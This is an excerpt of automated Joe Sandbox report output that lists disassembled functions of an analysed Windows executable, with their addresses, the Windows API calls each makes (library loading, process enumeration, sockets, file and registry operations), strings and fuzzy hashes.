Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule$=8
API String ID: 3158253471-3702533003
Opcode ID: 28d365960c2acf68075a9f0834ddd217f7a52a2f72191ce60e5825bea4ddf63a
Instruction ID: 1dc712624ee10a8d0c5642ada2ba63732c216103c9bdf88c1f61e756311dd3ef
Opcode Fuzzy Hash: 28d365960c2acf68075a9f0834ddd217f7a52a2f72191ce60e5825bea4ddf63a
Instruction Fuzzy Hash: 01E092702003118FD336AF36E804B82BAE4AF09704F00895DE44AC6341EBB4D588CBA1

Function 0035C6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0032027A,?), ref: 0035C6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0035C6F9

Strings

GetSystemWow64DirectoryW, xrefs: 0035C6F3
kernel32.dll, xrefs: 0035C6E2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 8b28d60f0ad8d9b69e277014a709169716cf3ec2aca470b9c146423de8ed919e
Instruction ID: cb7f18f44efcbda73bf4e81a962d2a7dcb99268a64903ba1c4416f3968ad49d6
Opcode Fuzzy Hash: 8b28d60f0ad8d9b69e277014a709169716cf3ec2aca470b9c146423de8ed919e
Instruction Fuzzy Hash: 50E08C7C120302CFD7364B25CC48E86B6D8AB0834AB809429E8CAE2620D770D8808F10

Function 002F4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,002F4B44,?,002F49D4,?,?,002F27AF,?,00000001), ref: 002F4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 002F4B97

Strings

kernel32.dll, xrefs: 002F4B80
Wow64DisableWow64FsRedirection, xrefs: 002F4B91

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 1d800efb258468bb1a32f181da4422e940feb7a82e978c26f610d9bb61141a2f
Instruction ID: e2792012144e97cc9ac4da97e8a36afd01ee2951485788befa85966d62051706
Opcode Fuzzy Hash: 1d800efb258468bb1a32f181da4422e940feb7a82e978c26f610d9bb61141a2f
Instruction Fuzzy Hash: 0ED0E275920713CFD736AF31D858B56B6E8AF05395F51882AD9CAE25A0E7B4E880CA10

Function 002F4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,002F4AF7,?), ref: 002F4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 002F4BCA

Strings

kernel32.dll, xrefs: 002F4BB3
Wow64RevertWow64FsRedirection, xrefs: 002F4BC4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: ee1147a4bf2103a84986aa06b45d9c91a51b759a62c4f73b1f1a4ca606c243e4
Instruction ID: ae5d7b714608d0ec44fd944518697924d315ceec8164085c0ada9f05d875f513
Opcode Fuzzy Hash: ee1147a4bf2103a84986aa06b45d9c91a51b759a62c4f73b1f1a4ca606c243e4
Instruction Fuzzy Hash: D3D08274820313CFD732AF30D808A47B2E8AF00380F00882AD4CAE25A1EAB0C890CA00

Function 00361447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00361696), ref: 00361455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00361467

Strings

RegDeleteKeyExW, xrefs: 00361461
advapi32.dll, xrefs: 00361450

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 074dec239a6a7739e1034aaddbe32d552f9369bf42a728a8d4ca8a114b029eec
Instruction ID: 36aa9e12f0d24589712e0d20ecd88391f91912545f73e2a0e5669c4cb0d0a0b4
Opcode Fuzzy Hash: 074dec239a6a7739e1034aaddbe32d552f9369bf42a728a8d4ca8a114b029eec
Instruction Fuzzy Hash: 5BD01775521712CFDB239F76C84864676E8AF06395F16C82AD4DAE3160EA70D8C0CA10

Function 002F55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,002F5E3D), ref: 002F55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 002F5610

Strings

kernel32.dll, xrefs: 002F55F9
GetNativeSystemInfo, xrefs: 002F560A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 3d022ba329410abb0f2346639948d488bb44d4b2e72aa6c33d5b7cf56f24b3d1
Instruction ID: 496795bce83400ab754217bc3bc6693911d6e3a6f664ba768bc6f3f1ffd17314
Opcode Fuzzy Hash: 3d022ba329410abb0f2346639948d488bb44d4b2e72aa6c33d5b7cf56f24b3d1
Instruction Fuzzy Hash: 31D01278930723CFE7355F31C848656B6D8AF06795F51C839D6DAD2161D774C4C0CA50

Function 003597CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,003593DE,?,00370980), ref: 003597D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 003597EA

Strings

GetModuleHandleExW, xrefs: 003597E4
kernel32.dll, xrefs: 003597D3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: b417367b83f577ba91f8e74ca35f3d53251580778e50af8d53cf29877c2c6357
Instruction ID: dd0900d94ed86a0c81f7d50eca984cfe78cf10aec183f1b01415c25b29ea7045
Opcode Fuzzy Hash: b417367b83f577ba91f8e74ca35f3d53251580778e50af8d53cf29877c2c6357
Instruction Fuzzy Hash: 1FD01274520713CFD7365F31D988646B6D8EF09392F11C82BD8DAE2160DB74C4C0CA11

Function 00337D9B Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 770b366a20b38a373d899848c523510ad02d2f390f46b844c3ac1f718dc1c9c3
Instruction ID: d5f030ec52ad95907fbe61e853e75518021c404615628111f1f6e585f8acce7a
Opcode Fuzzy Hash: 770b366a20b38a373d899848c523510ad02d2f390f46b844c3ac1f718dc1c9c3
Instruction Fuzzy Hash: DEC12C75A04216EFCB25CF98C884EAAB7B9FF48714F158598F805DB251DB31ED81CB90

Function 0035E713 Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0035E7A7
CharLowerBuffW.USER32(?,?), ref: 0035E7EA

Part of subcall function 0035DE8E: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0035DEAE

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0035E9EA
_memmove.LIBCMT ref: 0035E9FD

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: e7116e8fccb4b71e5cfa60773b1c5a35c11b800d28d09332a7f7bf213bf2ecd4
Instruction ID: 151c60788df5597836ac8f2ef1aab8af55077ba2be5d924e4e6c69aee2e1e2bf
Opcode Fuzzy Hash: e7116e8fccb4b71e5cfa60773b1c5a35c11b800d28d09332a7f7bf213bf2ecd4
Instruction Fuzzy Hash: 9DC15A716083018FC719DF28C49096ABBE4FF89714F04896EF8999B361D731EA49CF82

Function 0035877D Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 003587AD
CoUninitialize.OLE32 ref: 003587B8

Part of subcall function 0036DF09: CoCreateInstance.OLE32(00000018,00000000,00000005,00000028,?,?,?,?,?,00000000,00000000,00000000,?,00358A0E,?,00000000), ref: 0036DF71

VariantInit.OLEAUT32(?), ref: 003587C3
VariantClear.OLEAUT32(?), ref: 00358A94

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 17c26a6cb10f6462e1eaac9bdc50294d98958833e8b67c74085ea3eafd345ae7
Instruction ID: 2e641669afc666284f4e730a36beaa37c46c2d535ba82c2186e6467c1123abc6
Opcode Fuzzy Hash: 17c26a6cb10f6462e1eaac9bdc50294d98958833e8b67c74085ea3eafd345ae7
Instruction Fuzzy Hash: 21A157356147419FD711EF55C881F2AB7E4BF88324F548849F99AAB3A2CB30ED44CB92

Function 0033814E Relevance: 6.2, APIs: 4, Instructions: 231COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00373C4C,?), ref: 00338308
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00373C4C,?), ref: 00338320
CLSIDFromProgID.OLE32(?,?,00000000,00370988,000000FF,?,00000000,00000800,00000000,?,00373C4C,?), ref: 00338345
_memcmp.LIBCMT ref: 00338366

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 2e03e7a92d84905a4ce05d07e10c3aee4ec041e080ec98ee113efef0112230aa
Instruction ID: 7e60de2df17aed974b1f88722c4688cba3f3cd6c18167ebda9d043f9c93f9f4b
Opcode Fuzzy Hash: 2e03e7a92d84905a4ce05d07e10c3aee4ec041e080ec98ee113efef0112230aa
Instruction Fuzzy Hash: 8E811875A00209EFCB05DF94C984EEEB7B9FF89315F208558F506AB250DB71AE06CB60

Function 0033749B Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003374AC
SysAllocString.OLEAUT32(00000000), ref: 00337555
VariantCopy.OLEAUT32 ref: 00337584
VariantClear.OLEAUT32(?), ref: 003375AB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: 2446f17725cedeb4ff13ca7b9d1e80a295d03d591318c5a2e127df011b22cec1
Instruction ID: fe352b0203d5fbb93a8aeec4db84dab3f1b636651302dc541671e2c9fdc44b0f
Opcode Fuzzy Hash: 2446f17725cedeb4ff13ca7b9d1e80a295d03d591318c5a2e127df011b22cec1
Instruction Fuzzy Hash: A151D9B0618702DBDB359F79C8E6B2DB3E8AF45310F20881FE546DB6A1DB3098808B01

Function 0035F4F6 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0035F526
Process32FirstW.KERNEL32(00000000,?), ref: 0035F534

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

Process32NextW.KERNEL32(00000000,?), ref: 0035F5F4
CloseHandle.KERNEL32(00000000,?,?,?), ref: 0035F603

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 01f3af064092253b3f9a0d807b6374085f2fb730885183dc767539ee90cbfe8b
Instruction ID: cf17665e46a1f955c8ccd89330b32277c243a02dc1e6eed0d272878cfa8aedf8
Opcode Fuzzy Hash: 01f3af064092253b3f9a0d807b6374085f2fb730885183dc767539ee90cbfe8b
Instruction Fuzzy Hash: 88518D711143119FD321EF24DC86E6BB7E8EF94740F80492DF985D72A1EB70AA18CB92

Function 00369E19 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00369E88
ScreenToClient.USER32(00000002,00000002), ref: 00369EBB
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00369F28

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 30b5d047b2935f99826b13bb87b18ebb11d2f404ebd8e37394c1b2316e65e8c4
Instruction ID: 11fa6a709eb93f73cfe7d58a88c79d14e9f22dc512fdb95a157d7e1d12a7583d
Opcode Fuzzy Hash: 30b5d047b2935f99826b13bb87b18ebb11d2f404ebd8e37394c1b2316e65e8c4
Instruction Fuzzy Hash: 73515134A00109EFCF16DF54C984AAE7BB9FF45321F11815AF855DB294D731AD91CB90

Function 0030492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 003049C0
__flush.LIBCMT ref: 003049E0
__write.LIBCMT ref: 00304A13
__flsbuf.LIBCMT ref: 00304A41

Part of subcall function 00308D58: __getptd_noexit.LIBCMT ref: 00308D58

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction ID: 5d497786452cb6e1ea80df85229cfdd544fffa36713b80cf53e960c9f0d75227
Opcode Fuzzy Hash: a7c34a093fdd5ab58b6ffc98053f9d5ae49c5acda348f4cccab4e545be81f79d
Instruction Fuzzy Hash: 4841A8B1702706ABDF2ACFA9C8A096F77A5AF44360B25817DEA55CB6C0D770DF408B44

Function 0033A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0033A68A
__itow.LIBCMT ref: 0033A6BB

Part of subcall function 0033A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0033A976

SendMessageW.USER32(?,0000110A,00000001,?), ref: 0033A724
__itow.LIBCMT ref: 0033A77B

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: fb81b67af7c150f9020b142e653ce6fc9a438e5097fb7a533257f0e796d62703
Instruction ID: c0a60e9ec0d26744c874d0bcf99ef8479b9f0718b8192256b6ce98e338657228
Opcode Fuzzy Hash: fb81b67af7c150f9020b142e653ce6fc9a438e5097fb7a533257f0e796d62703
Instruction Fuzzy Hash: 03418574A0060CAFDF12EF54C896BFEBBB9EF44790F440029FA45A7291DB709954CB92

Function 00357095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 003570BC
WSAGetLastError.WSOCK32(00000000), ref: 003570CC

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00357130
WSAGetLastError.WSOCK32(00000000), ref: 0035713C

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: fdeae2ea298f38124cf63a6da505ddd6a9efa5fe69aca20f3ec005e0d4100a66
Instruction ID: 9b267ad9eda2d87b1772e0c9e8915a4c9094eaf7c7984fbb920433a0ec83c040
Opcode Fuzzy Hash: fdeae2ea298f38124cf63a6da505ddd6a9efa5fe69aca20f3ec005e0d4100a66
Instruction Fuzzy Hash: BE41BF75790200AFEB25BF25DC86F6A77E89B04B14F448458FE199F3D2DAB09D108F91

Function 00356B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00370980), ref: 00356B92
_strlen.LIBCMT ref: 00356BC4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: 5887d868c6c0c5b44b4dc64ad10bca696beacf07767a2d1d0f232ff2534e46f8
Instruction ID: 37d7eed819a782f07d329286777df2b85cdea87b52a8f9f160133c9b3092eb43
Opcode Fuzzy Hash: 5887d868c6c0c5b44b4dc64ad10bca696beacf07767a2d1d0f232ff2534e46f8
Instruction Fuzzy Hash: FF41F571A00108ABCB16FBA5CCD2EBEB3ADEF54311F548155FD1A9B2A2DB30AD15CB50

Function 0034BE37 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 0034BEE1
GetLastError.KERNEL32(?,00000000), ref: 0034BF07
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 0034BF2C
